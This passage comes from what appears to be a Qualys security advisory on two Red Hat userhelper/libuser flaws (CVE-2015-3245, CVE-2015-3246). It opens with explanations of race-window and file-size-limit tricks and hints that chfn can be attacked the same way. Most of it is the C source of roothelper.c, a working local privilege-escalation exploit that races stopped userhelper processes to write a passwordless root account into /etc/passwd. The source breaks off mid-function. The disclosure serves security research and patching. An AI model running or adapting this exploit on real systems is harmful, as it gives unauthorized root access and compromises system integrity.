and if this backup fails, libuser refuses to modify\r\n/etc/passwd. Unfortunately, our RLIMIT_FSIZE also applies to the backup,\r\nwhich will fail if the RLIMIT_FSIZE is less than the size of\r\n/etc/passwd.\r\n \r\nThis introduces Problem #2: in apparent contradiction to what we just\r\nsaid, our exploit needs to decrease RLIMIT_FSIZE after each character it\r\ninjects into /etc/passwd (as shown in the \"Exploitation Overview\"\r\nexample).\r\n \r\nIn order to solve this Problem #2, we refine Problem #1's\r\nSIGSTOP/SIGCONT solution: we let each userhelper process load our user's\r\noriginal, uncut line from /etc/passwd, and SIGSTOP the process after it\r\ncreates the backup file but before it modifies /etc/passwd. In other\r\nwords, we have to win a race against generic_mod()'s system calls, which\r\ncreate the backup file and modify /etc/passwd:\r\n \r\n- open() the passwd file /etc/passwd for reading;\r\n- acquire the passwd file's fcntl() read-lock;\r\n \r\n- open() the backup file /etc/passwd- for writing;\r\n- acquire the backup file's fcntl() write-lock;\r\n \r\n- read() from the passwd file;\r\n- write() to the backup file;\r\n- ftruncate() the backup file;\r\n \r\n- release the backup file's fcntl() write-lock;\r\n- close() the backup file;\r\n \r\n- release the passwd file's fcntl() read-lock;\r\n- close() the passwd file;\r\n \r\n- open() /etc/passwd for reading and writing;\r\n[RACE WINDOW BEGINS]\r\n- acquire the file's fcntl() write-lock: failure, sleep for a few microseconds;\r\n- acquire the file's fcntl() write-lock: failure, sleep for a few microseconds;\r\n- acquire the file's fcntl() write-lock: failure, sleep for a few microseconds;\r\n[RACE WINDOW ENDS]\r\n- acquire the file's fcntl() write-lock: success;\r\n- read() the file's contents;\r\n- etc.\r\n \r\nIn order to reliably win this race against all userhelper processes (one\r\nfor each character in the a-line), we:\r\n \r\n- widen the race window. We acquire a read-lock on /etc/passwd before we\r\n execve() userhelper, which prevents libuser from acquiring the\r\n write-lock on /etc/passwd, and forces it to sleep for a few\r\n microseconds (LU_LOCK_TIMEOUT is 2, LU_MAX_LOCK_ATTEMPTS is 6).\r\n \r\n- pinpoint the race window. We monitor the filesystem for the following\r\n sequence of inotify events:\r\n \r\n . IN_CREATE on /etc if the backup file does not exist;\r\n . IN_CLOSE_WRITE on the backup file;\r\n . IN_CLOSE_NOWRITE on the passwd file;\r\n . IN_OPEN on the passwd file.\r\n \r\n- preempt the userhelper processes. We setpriority() them to the lowest\r\n priority, sched_setscheduler() them to SCHED_IDLE, and\r\n sched_setaffinity() them to the same CPU as our exploit.\r\n \r\n \r\n----[ Problem #3 (last user)\r\n \r\nIf our user's line is the last one in /etc/passwd, then the last\r\ncharacter we inject into the file (the '\\n' that ends our user's line\r\nand begins the a-line) is also the very last character of write()'s\r\nbuffer, which introduces Problem #3: this last write() will not exceed\r\nour RLIMIT_FSIZE, and the consequent ftruncate() will delete the a-line\r\nfrom the end of /etc/passwd.\r\n \r\nIn order to solve this Problem #3:\r\n \r\n- either we SIGKILL the last userhelper process after write() but before\r\n ftruncate(). We reliably win this race with an IN_MODIFY event on\r\n /etc/passwd and the \"same CPU, different priorities\" preemption of\r\n userhelper.\r\n \r\n- or we exploit Vulnerability #1 and inject a '\\n' into our own GECOS\r\n field. As far as libuser is concerned, this '\\n' ends our user's line\r\n and begins a new one (with our leftover home-directory and\r\n shell-program fields): our user's line is no longer the last one in\r\n /etc/passwd.\r\n \r\n \r\n----[ Problem #4 (maximum GECOS_LENGTH)\r\n \r\nAs shown in our \"Exploitation Overview\" example, we only have two\r\noptions for arbitrary character injection into /etc/passwd:\r\n \r\n- either we use a character that we artificially inject through our own\r\n GECOS field (not an option for characters like ':' and '\\n');\r\n \r\n- or we reuse a character that is naturally present in /etc/passwd (our\r\n only option for characters like ':' and '\\n').\r\n \r\nUnfortunately, both of these options might fail to inject a character\r\nafter the end of /etc/passwd (a consequence of Problem #2):\r\n \r\n- if our own GECOS field is too far away from the end of /etc/passwd\r\n (farther than userhelper's maximum GECOS_LENGTH, 127 characters);\r\n \r\n- if the character is not already one of the last GECOS_LENGTH\r\n characters in /etc/passwd.\r\n \r\nIf faced with both of these problems, we solve the first one (and\r\nProblem #4) by repeatedly deleting lines from the end of /etc/passwd,\r\nuntil our own user's line is the last one in the file: we enlarge our\r\nown GECOS field, delete characters from the end of /etc/passwd with our\r\nRLIMIT_FSIZE scissors, shrink our GECOS field again, repeat.\r\n \r\n \r\n----[ Problem #5 (time complexity)\r\n \r\nFor each character in the a-line, we usually have to choose one of\r\nseveral (GECOS, RLIMIT_FSIZE) pairs that allow us to write the character\r\nto its target offset in /etc/passwd.\r\n \r\nThese pairs represent the nodes of a search tree that grows\r\nexponentially (with the number of characters in the a-line) but may\r\ncontain few or no solutions. In order to avoid this tree's worst-case\r\ntime complexity, we:\r\n \r\n- inject the shortest a-line possible, \"\\na::0:0::/:\\n\";\r\n \r\n- perform a recursive depth-first search on the tree, and return the\r\n first solution we find (instead of, for example, the solution that\r\n minimizes /etc/passwd's alterations);\r\n \r\n- replace the a-line's username with a wildcard, and accept any\r\n lowercase character that is not already a username (the a-line's\r\n username was a major problem, because it is the last character we\r\n inject, and therefore occurs deep down the tree's branches; the\r\n a-line's '0' characters are only a minor problem, because they occur\r\n in the middle of the tree's branches, whence we can backtrack\r\n quickly).\r\n \r\n \r\n----[ chfn\r\n \r\nutil-linux's chfn from Red Hat's codebase is linked with libuser, and\r\ncan be exploited by our public roothelper.c with just a few changes\r\n(left as an exercise for the interested reader):\r\n \r\n- userhelper uses a simple Userhelper/Consolehelper request/response\r\n protocol in order to prompt for and read the user's password, but chfn\r\n uses traditional terminal interaction;\r\n \r\n- if our user's line is the last one in /etc/passwd, we can exploit\r\n Vulnerability #1 against userhelper, but we have to win Problem #3's\r\n write/ftruncate race against chfn;\r\n \r\n- userhelper returns 0/255 on success/failure, but chfn returns 0/1.\r\n \r\n \r\n--[ Acknowledgments ]---------------------------------------------------------\r\n \r\nWe would like to thank Red Hat's Security Response Team and developers\r\nfor promptly addressing these issues.\r\n \r\n \r\n \r\n------ roothelper.c exploit ------\r\n/*\r\n * roothelper.c - an unusual local root exploit against:\r\n * CVE-2015-3245 userhelper chfn() newline filtering\r\n * CVE-2015-3246 libuser passwd file handling\r\n * Copyright (C) 2015 Qualys, Inc.\r\n *\r\n * gecos_* types and functions inspired by userhelper.c\r\n * Copyright (C) 1997-2003, 2007, 2008 Red Hat, Inc.\r\n *\r\n * UH_* #defines and comments inspired by userhelper.h\r\n * Copyright (C) 1997-2001, 2007 Red Hat, Inc.\r\n *\r\n * This program is free software: you can redistribute it and/or modify\r\n * it under the terms of the GNU General Public License as published by\r\n * the Free Software Foundation, either version 3 of the License, or\r\n * (at your option) any later version.\r\n *\r\n * This program is distributed in the hope that it will be useful,\r\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\n * GNU General Public License for more details.\r\n *\r\n * You should have received a copy of the GNU General Public License\r\n * along with this program. If not, see <http://www.gnu.org/licenses/>.\r\n */\r\n \r\n#define _GNU_SOURCE\r\n#include <ctype.h>\r\n#include <errno.h>\r\n#include <fcntl.h>\r\n#include <inttypes.h>\r\n#include <limits.h>\r\n#include <pwd.h>\r\n#include <sched.h>\r\n#include <signal.h>\r\n#include <stdarg.h>\r\n#include <stdbool.h>\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <string.h>\r\n#include <sys/inotify.h>\r\n#include <sys/resource.h>\r\n#include <sys/socket.h>\r\n#include <sys/stat.h>\r\n#include <sys/time.h>\r\n#include <sys/types.h>\r\n#include <sys/wait.h>\r\n#include <unistd.h>\r\n \r\n/* A maximum GECOS field length. There's no hard limit, so we guess. */\r\n#define GECOS_LENGTH 127\r\n \r\ntypedef char gecos_field[GECOS_LENGTH];\r\n \r\n/* A structure to hold broken-out GECOS data. The number and names of the\r\n * fields are dictated entirely by the flavor of finger we use. Seriously. */\r\nstruct gecos_data {\r\n gecos_field full_name; /* full user name */\r\n gecos_field office; /* office */\r\n gecos_field office_phone; /* office phone */\r\n gecos_field home_phone; /* home phone */\r\n gecos_field site_info; /* other stuff */\r\n};\r\n \r\nstatic struct userhelper {\r\n struct gecos_data gecos;\r\n rlim_t fsizelim;\r\n pid_t pid;\r\n int fd;\r\n} userhelpers[GECOS_LENGTH];\r\n \r\nstatic void\r\ndie_in_parent(const char *const file, const unsigned int line,\r\n const char *const function)\r\n{\r\n fprintf(stderr, \"died in parent: %s:%u: %s\\n\", file, line, function);\r\n fflush(stderr);\r\n \r\n unsigned int i;\r\n for (i = 0; i < GECOS_LENGTH; i++) {\r\n const pid_t pid = userhelpers[i].pid;\r\n if (pid <= 0) continue;\r\n kill(pid, SIGKILL);\r\n }\r\n _exit(EXIT_FAILURE);\r\n}\r\n \r\nstatic void\r\ndie_in_child(const char *const file, const unsigned int line,\r\n const char *const function)\r\n{\r\n fprintf(stderr, \"died in child: %s:%u: %s\\n\", file, line, function);\r\n exit(EXIT_FAILURE);\r\n}\r\n \r\nstatic void (*die_fn)(const char *, unsigned int, const char *) = die_in_parent;\r\n#define die() die_fn(__FILE__, __LINE__, __func__)\r\n \r\nstatic void *\r\nxmalloc(const size_t size)\r\n{\r\n if (size <= 0) die();\r\n if (size >= INT_MAX) die();\r\n void *const ptr = malloc(size);\r\n if (ptr == NULL) die();\r\n return ptr;\r\n}\r\n \r\nstatic void *\r\nxrealloc(void *const old, const size_t size)\r\n{\r\n if (size <= 0) die();\r\n if (size >= INT_MAX) die();\r\n void *const new = realloc(old, size);\r\n if (new == NULL) die();\r\n return new;\r\n}\r\n \r\nstatic char *\r\nxstrndup(const char *const old, const size_t len)\r\n{\r\n if (old == NULL) die();\r\n if (len >= INT_MAX) die();\r\n \r\n char *const new = strndup(old, len);\r\n \r\n if (new == NULL) die();\r\n if (len != strlen(new)) die();\r\n return new;\r\n}\r\n \r\nstatic int\r\nxsnprintf(char *const str, const size_t size, const char *const format, ...)\r\n{\r\n if (str == NULL) die();\r\n if (size <= 0) die();\r\n if (size >= INT_MAX) die();\r\n if (format == NULL) die();\r\n \r\n va_list ap;\r\n va_start(ap, format);\r\n const int len = vsnprintf(str, size, format, ap);\r\n va_end(ap);\r\n \r\n if (len < 0) die();\r\n if ((unsigned int)len >= size) die();\r\n if ((unsigned int)len != strlen(str)) die();\r\n return len;\r\n}\r\n \r\nstatic int\r\nxopen(const char *const pathname, const int flags)\r\n{\r\n if (pathname == NULL) die();\r\n if (*pathname != '/') die();\r\n if (flags != O_RDONLY) die();\r\n \r\n const int fd = open(pathname, flags);\r\n if (fd <= -1) die();\r\n \r\n static const struct flock rdlock = {\r\n .l_type = F_RDLCK,\r\n .l_whence = SEEK_SET,\r\n .l_start = 0,\r\n .l_len = 0\r\n };\r\n if (fcntl(fd, F_SETLK, &rdlock) != 0) die();\r\n return fd;\r\n}\r\n \r\nstatic void\r\nxclose(const int fd)\r\n{\r\n if (fd <= -1) die();\r\n static const struct flock unlock = {\r\n .l_type = F_UNLCK,\r\n .l_whence = SEEK_SET,\r\n .l_start = 0,\r\n .l_len = 0\r\n };\r\n if (fcntl(fd, F_SETLK, &unlock) != 0) die();\r\n if (close(fd) != 0) die();\r\n}\r\n \r\n#define GECOS_BADCHARS \":,=\\n\"\r\n \r\n/* A simple function to compute the size of a gecos string containing the\r\n * data we have. */\r\nstatic size_t\r\ngecos_size(const struct gecos_data *const parsed)\r\n{\r\n if (parsed == NULL) die();\r\n \r\n size_t len = 4; /* commas! */\r\n len += strlen(parsed->full_name);\r\n len += strlen(parsed->office);\r\n len += strlen(parsed->office_phone);\r\n len += strlen(parsed->home_phone);\r\n len += strlen(parsed->site_info);\r\n len++;\r\n return len;\r\n}\r\n \r\n/* Parse the passed-in GECOS string and set PARSED to its broken-down contents.\r\n Note that the parsing is performed using the convention obeyed by BSDish\r\n finger(1) under Linux. */\r\nstatic void\r\ngecos_parse(const char *const gecos, struct gecos_data *const parsed)\r\n{\r\n if (gecos == NULL) die();\r\n if (strlen(gecos) >= INT_MAX) die();\r\n \r\n if (parsed == NULL) die();\r\n memset(parsed, 0, sizeof(*parsed));\r\n \r\n unsigned int i;\r\n const char *field = gecos;\r\n \r\n for (i = 0; ; i++) {\r\n const char *field_end = strchrnul(field, ',');\r\n gecos_field *dest = NULL;\r\n \r\n switch (i) {\r\n case 0:\r\n dest = &parsed->full_name;\r\n break;\r\n case 1:\r\n dest = &parsed->office;\r\n break;\r\n case 2:\r\n dest = &parsed->office_phone;\r\n break;\r\n case 3:\r\n dest = &parsed->home_phone;\r\n break;\r\n case 4:\r\n field_end = rawmemchr(field_end, '\\0');\r\n dest = &parsed->site_info;\r\n break;\r\n default:\r\n die();\r\n }\r\n const size_t field_len = field_end - field;\r\n xsnprintf(*dest, sizeof(*dest), \"%.*s\", (int)field_len, field);\r\n if (strlen(*dest) != field_len) die();\r\n \r\n if (strpbrk(*dest, GECOS_BADCHARS) != NULL && i != 4) die();\r\n \r\n if (*field_end == '\\0') break;\r\n field = field_end + 1;\r\n }\r\n if (gecos_size(parsed) > GECOS_LENGTH) die();\r\n}\r\n \r\n/* Assemble a new gecos string. */\r\nstatic const char *\r\ngecos_assemble(const struct gecos_data *const parsed)\r\n{\r\n static char ret[GECOS_LENGTH];\r\n size_t i;\r\n \r\n if (parsed == NULL) die();\r\n /* Construct the basic version of the string. */\r\n xsnprintf(ret, sizeof(ret), \"%s,%s,%s,%s,%s\",\r\n parsed->full_name,\r\n parsed->office,\r\n parsed->office_phone,\r\n parsed->home_phone,\r\n parsed->site_info);\r\n /* Strip off terminal commas. */\r\n i = strlen(ret);\r\n while ((i > 0) && (ret[i - 1] == ',')) {\r\n ret[i - 1] = '\\0';\r\n i--;\r\n }\r\n return ret;\r\n}\r\n \r\n/* Descriptors used to communicate between userhelper and consolhelper. */\r\n#define UH_INFILENO 3\r\n#define UH_OUTFILENO 4\r\n \r\n/* Userhelper request format:\r\n request code as a single character,\r\n request data size as UH_REQUEST_SIZE_DIGITS decimal digits\r\n request data\r\n '\\n' */\r\n#define UH_REQUEST_SIZE_DIGITS 8\r\n \r\n/* Synchronization point code. */\r\n#define UH_SYNC_POINT 32\r\n \r\n/* Valid userhelper request codes. */\r\n#define UH_ECHO_ON_PROMPT 34\r\n#define UH_ECHO_OFF_PROMPT 35\r\n#define UH_EXPECT_RESP 39\r\n#define UH_SERVICE_NAME 40\r\n#define UH_USER 42\r\n \r\n/* Consolehelper response format:\r\n response code as a single character,\r\n response data\r\n '\\n' */\r\n \r\n/* Consolehelper response codes. */\r\n#define UH_TEXT 33\r\n \r\n/* Valid userhelper error codes. */\r\n#define ERR_UNK_ERROR 255 /* unknown error */\r\n \r\n/* Paths, flag names, and other stuff. */\r\n#define UH_PATH \"/usr/sbin/userhelper\"\r\n#define UH_FULLNAME_OPT \"-f\"\r\n#define UH_OFFICE_OPT \"-o\"\r\n#define UH_OFFICEPHONE_OPT \"-p\"\r\n#define UH_HOMEPHONE_OPT \"-h\"\r\n \r\nstatic char\r\nread_request(const int fd, char *const data, const size_t size)\r\n{\r\n if (fd <= -1) die();\r\n if (data == NULL) die();\r\n if (size >= INT_MAX) die();\r\n \r\n char header[1 + UH_REQUEST_SIZE_DIGITS + 1];\r\n if (read(fd, header, sizeof(header)-1) != sizeof(header)-1) die();\r\n header[sizeof(header)-1] = '\\0';\r\n \r\n errno = 0;\r\n char *endptr = NULL;\r\n const unsigned long len = strtoul(&header[1], &endptr, 10);\r\n if (errno != 0 || endptr != &header[sizeof(header)-1]) die();\r\n \r\n if (len >= size) die();\r\n if (read(fd, data, len+1) != (ssize_t)(len+1)) die();\r\n if (data[len] != '\\n') die();\r\n data[len] = '\\0';\r\n \r\n if (strlen(data) != len) die();\r\n if (strchr(data, '\\n') != NULL) die();\r\n return header[0];\r\n}\r\n \r\nstatic void\r\nsend_reply(const int fd, const unsigned char type, const char *const data)\r\n{\r\n if (fd <= -1) die();\r\n if (!isascii(type)) die();\r\n if (!isprint(type)) die();\r\n if (data == NULL) die();\r\n if (strpbrk(data, \"\\r\\n\") != NULL) die();\r\n \r\n char buf[BUFSIZ];\r\n const int len = xsnprintf(buf, sizeof(buf), \"%c%s\\n\", (int)type, data);\r\n if (send(fd, buf, len, MSG_NOSIGNAL) != len) die();\r\n}\r\n \r\n#define ETCDIR \"/etc\"\r\n#define PASSWD \"/etc/passwd\"\r\n#define BACKUP \"/etc/passwd-\"\r\n \r\nstatic struct {\r\n char username[64];\r\n char password[64];\r\n struct gecos_data gecos;\r\n} my;\r\n \r\nstatic volatile sig_atomic_t is_child_dead;\r\n \r\nstatic void\r\nsigchild_handler(const int signum __attribute__ ((__unused__)))\r\n{\r\n is_child_dead = true;\r\n}\r\n \r\nstatic int\r\nwait_for_userhelper(struct userhelper *const uh, const int options)\r\n{\r\n if (uh == NULL) die();\r\n if (uh->pid <= 0) die();\r\n if ((options & ~(WUNTRACED | WCONTINUED)) != 0) die();\r\n \r\n int status;\r\n for (;;) {\r\n const pid_t pid = waitpid(uh->pid, &status, options);\r\n if (pid == uh->pid) break;\r\n if (pid > 0) _exit(255);\r\n \r\n if (pid != -1) die();\r\n if (errno != EINTR) die();\r\n }\r\n if (WIFEXITED(status) || WIFSIGNALED(status)) uh->pid = -1;\r\n return status;\r\n}\r\n \r\nstatic void\r\nforkstop_userhelper(struct userhelper *const uh)\r\n{\r\n if (uh == NULL) die();\r\n if (uh->pid != 0) die();\r\n if (gecos_size(&uh->gecos) > GECOS_LENGTH) die();\r\n \r\n struct rlimit fsize;\r\n if (getrlimit(RLIMIT_FSIZE, &fsize) != 0) die();\r\n if (uh->fsizelim > fsize.rlim_max) die();\r\n if (uh->fsizelim <= 0) die();\r\n fsize.rlim_cur = uh->fsizelim;\r\n \r\n cpu_set_t old_cpus;\r\n CPU_ZERO(&old_cpus);\r\n if (sched_getaffinity(0, sizeof(old_cpus), &old_cpus) != 0) die();\r\n \r\n { const int cpu = sched_getcpu();\r\n if (cpu >= CPU_SETSIZE) die();\r\n if (cpu < 0) die();\r\n cpu_set_t new_cpus;\r\n CPU_ZERO(&new_cpus);\r\n CPU_SET(cpu, &new_cpus);\r\n if (sched_setaffinity(0, sizeof(new_cpus), &new_cpus) != 0) die(); }\r\n \r\n int sv[2];\r\n if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) != 0) die();\r\n \r\n if (is_child_dead) die();\r\n static const struct sigaction sigchild_action = {\r\n .sa_handler = sigchild_handler, .sa_flags = SA_NOCLDSTOP };\r\n if (sigaction(SIGCHLD, &sigchild_action, NULL) != 0) die();\r\n \r\n uh->pid = fork();\r\n if (uh->pid <= -1) die();\r\n \r\n if (uh->pid == 0) {\r\n die_fn = die_in_child;\r\n if (close(sv[1]) != 0) die();\r\n if (dup2(sv[0], UH_INFILENO) != UH_INFILENO) die();\r\n if (dup2(sv[0], UH_OUTFILENO) != UH_OUTFILENO) die();\r\n \r\n const int devnull_fd = open(\"/dev/null\", O_RDWR);\r\n if (dup2(devnull_fd, STDIN_FILENO) != STDIN_FILENO) die();\r\n if (dup2(devnull_fd, STDOUT_FILENO) != STDOUT_FILENO) die();\r\n if (dup2(devnull_fd, STDERR_FILENO) != STDERR_FILENO) die();\r\n \r\n if (signal(SIGPIPE, SIG_DFL) == SIG_ERR) die();\r\n if (signal(SIGXFSZ, SIG_IGN) == SIG_ERR) die();\r\n if (setrlimit(RLIMIT_FSIZE, &fsize) != 0) die();\r\n \r\n if (setpriority(PRIO_PROCESS, 0, +19) != 0) die();\r\n static const struct sched_param sched_param = { .sched_priority = 0 };\r\n (void) sched_setscheduler(0, SCHED_IDLE, &sched_param);\r\n \r\n char *const argv[] = { UH_PATH,\r\n UH_FULLNAME_OPT, uh->gecos.full_name,\r\n UH_OFFICE_OPT, uh->gecos.office,\r\n UH_OFFICEPHONE_OPT, uh->gecos.office_phone,\r\n UH_HOMEPHONE_OPT, uh->gecos.home_phone,\r\n NULL };\r\n char *const envp[] = { NULL };\r\n execve(UH_PATH, argv, envp);\r\n die();\r\n }\r\n if (die_fn != die_in_parent) die();\r\n if (close(sv[0]) != 0) die();\r\n uh->fd = sv[1];\r\n \r\n unsigned long expected_responses = 0;\r\n for (;;) {\r\n char data[BUFSIZ];\r\n const char type = read_request(uh->fd, data, sizeof(data));\r\n if (type == UH_SYNC_POINT) break;\r\n \r\n switch (type) {\r\n case UH_USER:\r\n if (strcmp(data, my.username) != 0) die();\r\n break;\r\n case UH_SERVICE_NAME:\r\n if (strcmp(data, \"chfn\") != 0) die();\r\n break;\r\n case UH_ECHO_ON_PROMPT:\r\n case UH_ECHO_OFF_PROMPT:\r\n if (++expected_responses == 0) die();\r\n break;\r\n case UH_EXPECT_RESP:\r\n if (strtoul(data, NULL, 10) != expected_responses) die();\r\n break;\r\n default:\r\n break;\r\n }\r\n }\r\n if (expected_responses != 1) die();\r\n \r\n const int lpasswd_fd = xopen(PASSWD, O_RDONLY);\r\n const int inotify_fd = inotify_init();\r\n if (inotify_fd <= -1) die();\r\n if (inotify_add_watch(inotify_fd, PASSWD, IN_CLOSE_NOWRITE |\r\n IN_OPEN) <= -1) die();\r\n if (inotify_add_watch(inotify_fd, BACKUP, IN_CLOSE_WRITE) <= -1) {\r\n if (errno != ENOENT) die();\r\n if (inotify_add_watch(inotify_fd, ETCDIR, IN_CREATE) <= -1) die();\r\n }\r\n \r\n send_reply(uh->fd, UH_TEXT, my.password);\r\n send_reply(uh->fd, UH_SYNC_POINT, \"\");\r\n if (close(uh->fd) != 0) die();\r\n uh->fd = -1;\r\n \r\n unsigned int state = 0;\r\n static const uint32_t transition[] = { IN_CLOSE_WRITE,\r\n IN_CLOSE_NOWRITE, IN_OPEN, 0 };\r\n for (;;) {\r\n if (is_child_dead) die();\r\n char buffer[10 * (sizeof(struct inotify_event) + NAME_MAX + 1)];\r\n const ssize_t _buflen = read(inotify_fd, buffer, sizeof(buffer));\r\n if (is_child_dead) die();\r\n \r\n if (_buflen <= 0) die();\r\n size_t buflen = _buflen;\r\n if (buflen > sizeof(buffer)) die();\r\n \r\n struct inotify_event *ep;\r\n for (ep = (struct inotify_event *)(buffer); buflen >= sizeof(*ep);\r\n ep = (struct inotify_event *)(ep->name + ep->len)) {\r\n buflen -= sizeof(*ep);\r\n \r\n if (ep->len > 0) {\r\n if (buflen < ep->len) die();\r\n buflen -= ep->len;\r\n if ((ep->mask & IN_CREATE) == 0) die();\r\n (void) inotify_add_watch(inotify_fd, BACKUP, IN_CLOSE_WRITE);\r\n continue;\r\n }\r\n if (ep->len != 0) die();\r\n while ((ep->mask & transition[state]) != 0) {\r\n ep->mask &= ~transition[state++];\r\n if (transition[state] == 0) goto stop_userhelper;\r\n }\r\n }\r\n if (buflen != 0) die();\r\n }\r\n stop_userhelper:\r\n if (kill(uh->pid, SIGSTOP) != 0) die();\r\n if (close(inotify_fd) != 0) die();\r\n \r\n const int status = wait_for_userhelper(uh, WUNTRACED);\r\n if (!WIFSTOPPED(status)) die();\r\n if (WSTOPSIG(status) != SIGSTOP) die();\r\n \r\n xclose(lpasswd_fd);\r\n if (signal(SIGCHLD, SIG_DFL) == SIG_ERR) die();\r\n if (sched_setaffinity(0, sizeof(old_cpus), &old_cpus) != 0) die();\r\n}\r\n \r\nstatic void\r\ncontinue_userhelper(struct userhelper *const uh)\r\n{\r\n if (uh == NULL) die();\r\n if (uh->fd != -1) die();\r\n if (uh->pid <= 0) die();\r\n \r\n if (kill(uh->pid, SIGCONT) != 0) die();\r\n \r\n { const int status = wait_for_userhelper(uh, WCONTINUED);\r\n if (!WIFCONTINUED(status)) die(); }\r\n \r\n { const int status = wait_for_userhelper(uh, 0);\r\n if (!WIFEXITED(status)) die();\r\n if (WEXITSTATUS(status) !=\r\n ((uh->fsizelim == RLIM_INFINITY) ? 0 : ERR_UNK_ERROR)) die(); }\r\n \r\n memset(uh, 0, sizeof(*uh));\r\n}\r\n \r\nstatic void\r\ncreate_backup_of_passwd_file(void)\r\n{\r\n char backup[] = \"/tmp/passwd-XXXXXX\";\r\n const mode_t prev_umask = umask(077);\r\n const int ofd = mkstemp(backup);\r\n (void) umask(prev_umask);\r\n if (ofd <= -1) die();\r\n \r\n printf(\"Creating a backup copy of \\\"%s\\\" named \\\"%s\\\"\\n\", PASSWD, backup);\r\n const int ifd = xopen(PASSWD, O_RDONLY);\r\n for (;;) {\r\n char buf[BUFSIZ];\r\n const ssize_t len = read(ifd, buf, sizeof(buf));\r\n if (len == 0) break;\r\n if (len <= 0) die();\r\n if (write(ofd, buf, len) != len) die();\r\n }\r\n xclose(ifd);\r\n if (close(ofd) != 0) die();\r\n}\r\n \r\nstatic void\r\ndelete_lines_from_passwd_file(void)\r\n{\r\n struct gecos_data gecos;\r\n memset(&gecos, 0, sizeof(gecos));\r\n xsnprintf(gecos.site_info, sizeof(gecos.site_info),\r\n \"%s\", my.gecos.site_info);\r\n const ssize_t fullname_max = GECOS_LENGTH - gecos_size(&gecos);\r\n if (fullname_max >= GECOS_LENGTH) die();\r\n if (fullname_max <= 0) die();\r\n \r\n char fragment[64];\r\n xsnprintf(fragment, sizeof(fragment), \"\\n%s:\", my.username);\r\n \r\n char *contents = NULL;\r\n for (;;) {\r\n struct stat st;\r\n const int fd = xopen(PASSWD, O_RDONLY);\r\n if (fstat(fd, &st) != 0) die();\r\n if (st.st_size >= INT_MAX) die();\r\n if (st.st_size <= 0) die();\r\n \r\n contents = xrealloc(contents, st.st_size + 1);\r\n if (read(fd, contents, st.st_size) != st.st_size) die();\r\n contents[st.st_size] = '\\0';\r\n xclose(fd);\r\n \r\n const char *cp = strstr(contents, fragment);\r\n if (cp == NULL) die();\r\n cp = strchr(cp + 2, '\\n');\r\n if (cp == NULL) die();\r\n if (cp[1] == '\\0') break;\r\n \r\n char *const tp = contents + st.st_size-1;\r\n *tp = '\\0';\r\n if (tp <= cp) die();\r\n if (tp - cp > fullname_max) cp = tp - fullname_max;\r\n cp = strpbrk(cp, \"\\n:, \");\r\n if (cp == NULL) die();\r\n \r\n const ssize_t fullname_len = tp - cp;\r\n if (fullname_len >= GECOS_LENGTH) die();\r\n if (fullname_len <= 0) die();\r\n \r\n printf(\"Deleting %zd bytes from \\\"%s\\\"\\n\", fullname_len, PASSWD);\r\n \r\n struct userhelper *const uh = &userhelpers[0];\r\n memset(uh->gecos.full_name, 'A', fullname_len);\r\n uh->fsizelim = st.st_size;\r\n forkstop_userhelper(uh);\r\n continue_userhelper(uh);\r\n \r\n uh->fsizelim = RLIM_INFINITY;\r\n forkstop_userhelper(uh);\r\n continue_userhelper(uh);\r\n }\r\n free(contents);\r\n}\r\n \r\nstatic size_t passwd_fsize;\r\nstatic int generate_userhelpers(const char *);\r\n#define IS_USER_LAST \"last user in passwd file?\"\r\n \r\nstatic char candidate_users[256];\r\nstatic char superuser_elect;\r\n \r\nint\r\nmain(void)\r\n{\r\n create_backup_of_passwd_file();\r\n \r\n { char candidate[] = \"a\";\r\n for (; candidate[0] <= 'z'; candidate[0]++) {\r\n if (getpwnam(candidate) != NULL) continue;\r\n strcat(candidate_users, candidate);\r\n } }\r\n if (candidate_users[0] == '\\0') die();\r\n \r\n const struct passwd *const pwd = getpwuid(getuid());\r\n if ((pwd == NULL) || (pwd->pw_name == NULL)) die();\r\n xsnprintf(my.username, sizeof(my.username), \"%s\", pwd->pw_name);\r\n gecos_parse(pwd->pw_gecos, &my.gecos);\r\n \r\n if (fputs(\"Please enter your password:\\n\", stdout) == EOF) die();\r\n if (fgets(my.password, sizeof(my.password), stdin) == NULL) die();\r\n char *const newline = strchr(my.password, '\\n');\r\n if (newline == NULL) die();\r\n *newline = '\\0';\r\n \r\n { struct userhelper *const uh = &userhelpers[0];\r\n uh->fsizelim = RLIM_INFINITY;\r\n forkstop_userhelper(uh);\r\n continue_userhelper(uh); }\r\n \r\n retry:\r\n if (generate_userhelpers(IS_USER_LAST)) {\r\n struct userhelper *const uh1 = &userhelpers[1];\r\n strcpy(uh1->gecos.full_name, \"\\n\");\r\n uh1->fsizelim = passwd_fsize + 1;\r\n \r\n struct userhelper *const uh0 = &userhelpers[0];\r\n uh0->fsizelim = passwd_fsize;\r\n \r\n forkstop_userhelper(uh1), forkstop_userhelper(uh0);\r\n continue_userhelper(uh1), continue_userhelper(uh0);\r\n if (generate_userhelpers(IS_USER_LAST)) die();\r\n }\r\n \r\n static const char a[] = \"?::0:0::/:\";\r\n printf(\"Attempting to add \\\"%s\\\" to \\\"%s\\\"\\n\", a, PASSWD);\r\n \r\n const int n = generate_userhelpers(a);\r\n if (n == -1) {\r\n static int retries;\r\n if (retries++) die();\r\n memset(userhelpers, 0, sizeof(userhelpers));\r\n delete_lines_from_passwd_file();\r\n goto retry;\r\n }\r\n if (n <= 0) die();\r\n if (n >= GECOS_LENGTH) die();\r\n if (superuser_elect == '\\0') die();\r\n \r\n int i;\r\n for (i = n; --i >= 0; ) {\r\n printf(\"Starting and stopping userhelper #%d\\n\", i);\r\n forkstop_userhelper(&userhelpers[i]);\r\n }\r\n for (i = n; --i >= 0; ) {\r\n printf(\"Continuing stopped userhelper #%d\\n\", i);\r\n continue_userhelper(&userhelpers[i]);\r\n }\r\n printf(\"Exploit successful, run \\\"su %c\\\" to become root\\n\",\r\n (int)superuser_elect);\r\n \r\n { struct userhelper *const uh = &userhelpers[0];\r\n uh->fsizelim = RLIM_INFINITY;\r\n uh->gecos = my.gecos;\r\n forkstop_userhelper(uh);\r\n continue_userhelper(uh); }\r\n \r\n exit(EXIT_SUCCESS);\r\n}\r\n \r\nstatic void\r\ngenerate_fullname(char *const fullname, const ssize_t fullname_len,\r\n const char c)\r\n{\r\n if (fullname == NULL) die();\r\n if (fullname_len < 0) die();\r\n if (fullname_len >= GECOS_LENGTH) die();\r\n \r\n memset(fullname, 